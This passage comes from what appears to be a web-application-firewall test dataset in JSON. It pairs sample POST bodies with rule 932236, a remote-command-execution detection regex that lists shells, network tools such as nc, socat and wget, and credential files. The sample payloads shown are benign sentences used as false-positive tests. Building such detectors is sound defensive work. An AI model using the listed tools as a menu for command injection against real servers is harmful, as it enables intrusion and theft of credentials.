]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)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),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block `strace` prefix" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "sentence=Cut orange quarters into crosswise slices about 1/8-inch thick.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[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]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Known false positive with `Cut` at start of string (expected failure)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "sentence=Wall Street\\\\xe2\\\\x80\\\\x99s benchmark stock index struck an all-time high on Tuesday.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 